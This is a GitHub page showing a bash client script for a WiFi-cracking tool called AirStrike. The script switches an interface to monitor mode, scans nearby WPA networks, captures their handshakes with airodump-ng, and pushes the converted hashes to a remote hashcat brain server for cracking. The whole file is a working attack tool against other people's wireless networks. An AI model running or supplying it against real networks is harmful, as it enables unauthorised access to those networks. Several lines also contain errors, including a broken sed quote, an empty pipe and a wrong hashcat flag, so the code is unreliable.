-
Notifications
You must be signed in to change notification settings - Fork 34
/
client_template.sh
executable file
·132 lines (116 loc) · 3.25 KB
/
client_template.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/bin/bash
password="PASSWORD"
port="PORT"
ip="IP"
outfile="OUTFILE"
potfile="POTFILE"
workload="WORKLOAD"
default_iface=$(ip addr show|grep default|grep -i up|grep -vi loopback|tail -1|awk '{print $2}'|sed 's/:/'/)
wordlist="custom_wordlist.txt"
essid_list="found_aps.txt"
red=`tput setaf 1`
green=`tput setaf 2`
yellow=`tput setaf 3`
blue=`tput setaf 4`
magenta=`tput setaf 5`
grey=`tput setaf 8`
reset=`tput sgr0`
bold=`tput bold`
underline=`tput smul`
l="${red}< * >${reset}"
print_good(){
echo "${green}[+]${reset}" $1
}
print_error(){
echo "${red}[x]${reset}" $1
}
print_info(){
echo "[*]" $1
}
print_banner(){
echo """
$red
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| . A . i . r S . t . r . i . k . e . |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
$reset
"""
}
print_usage(){
print_banner
echo "Created by: redcodelabs.io $l"
echo
echo "usage: airstrike_client.sh [-h] [-i <interface>] [-w <wordlist>]"
echo
echo "options:"
echo " -h Show help message and exit"
echo " -i Interface to use (default: ${green}auto${reset})"
echo " -w Wordlist to use (default: ${red}none${reset})"
echo
echo "Press $grey[Ctrl + i]$reset to print summary about handshakes captured so far"
echo "Press $grey[Ctrl + s]$reset to send captured data to the server"
echo
echo
}
while getopts "hi:w:" opt; do
case "$opt" in
h)
print_usage
exit 0
;;
i) default_iface=$OPTARG
;;
w) wordlist=$OPTARG
;;
esac
done
shift $((OPTIND-1))
[ "${1:-}" = "--" ] && shift
bind -x '"\C-i":"convert_and_print_summary"'
convert_and_print_summary(){ #BIND
total_num_handshakes=0
for f in *.cap; do
hc_filename=$(echo $f|sed "s/cap/hccapx/")
num_handshakes=$(cap2hccapx $f $hc_filename|tail -n1|awk '{print $2}')
if [ $num_handshakes -eq 0 ]; then
print_error "No handshakes found in $red[$f]$reset"
else
print_good "Found $bold$num_handshakes$reset handshakes in $green[$f]$reset"
$((total_num_handshakes++))
fi
done
}
find_essids(){
iface="${default_iface}mon"
timeout --foreground 10 airodump-ng $iface --output-format csv -t wpa -w capture > /dev/null 2>&1 &
sed '1,/Station/!d' capture-01.csv|grep -v seen|grep "\S"|awk -F',' 'BEGIN{OFS=" @"}{print $14 $4}'| > $essid_list
}
aircrack_capture(){
iface="${default_iface}mon"
#read from $essid_list
for line in $(cat $essid_list); do
essid=$(echo $line|awk -F'@' '{print $1}')
chan=$(echo $line|awk -F'@' '{print $2}')
sudo airodump-ng --ignore-negative-one --essid $essid --channel $chan --output-format pcap --write $essid > /dev/null 2>&1 &
done
}
start_hashcat_client(){
hccapx=$1
hashcat --brain-client --brain-port $port --brain-host $ip --brain-password $password -w $workload --potfile-path $potfile -o $outfile -a 2500 $hccapx $wordlist
}
set_monitor(){
sudo airmon-ng check kill
sudo airmon-ng start $default_iface
}
bind -x '"\C-s":"send_to_server"'
send_to_server(){ #BIND
for f in *.hccapx; do
start_hashcat_client $f > /dev/null 2>&1
done
}
watch_pcap(){
ls *.cap|entr -p echo Captured handshake - $green /_ $reset &
}
set_monitor
find_essids
aircrack_capture &